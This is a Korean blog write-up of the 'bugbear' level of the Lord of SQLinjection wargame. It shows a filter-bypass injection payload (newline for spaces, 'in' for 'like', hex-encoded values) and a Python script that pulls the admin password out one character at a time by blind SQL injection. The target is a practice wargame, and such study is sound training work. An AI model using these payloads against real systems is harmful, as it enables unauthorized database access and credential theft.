php 코드를 보면 이전 문제들 보다 필터가 많이 걸려있다.
공백, =, like, 0x가 필터에 걸려있기 때문에 이들을 전부 우회했다.
우선 pw를 구하는 방법은 아래와 같다.
?pw=1&no=1||hex(id)%0anot%0ain%0a(6775657374)%26%26length(pw)in(8)
공백은 %0a, like는 in구문을 사용하였고, 0x가 필터에 걸려있기 때문에 in 구문을 통해 guest를 hex로 변환하여 id가 admin인 칼럼만 추출하도록 했다.
pw 길이를 구했으니 이제 blind sqlinjection으로 pw를 추출한다.
import urllib, urllib2
url = "https://los.eagle-jump.org/bugbear_431917ddc1dec75b4d65a23bd39689f8.php?"
flag = ""
for i in range(1, 9):
for j in range(33, 128):
payload = "pw=1&no=1||hex(id)%0anot%0ain%0a(6775657374)%26%26hex(mid(pw,{},1))%0ain%0a({})".format(i, hex(j)[2:])
print url+payload
req = urllib2.Request(url+payload)
req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11')
req.add_header('Cookie','__cfduid=; PHPSESSID=')
res = urllib2.urlopen(req).read()
if "Hello admin" in res:
print "[+]Find! : {}".format(chr(j))
flag += chr(j)
break
print "[+] Flag : {}".format(flag)
'Wargame > lord of sqlinjection' 카테고리의 다른 글
| Lord of SQLinjection assassin (0) | 2017.08.04 |
|---|---|
| Lord of SQLinjection giant (0) | 2017.08.02 |
| Lord of SQLinjection darkknight (0) | 2017.07.30 |
| Lord of SQLinjection golem (0) | 2017.07.30 |
| Lord of SQLinjection skeleton (0) | 2017.07.30 |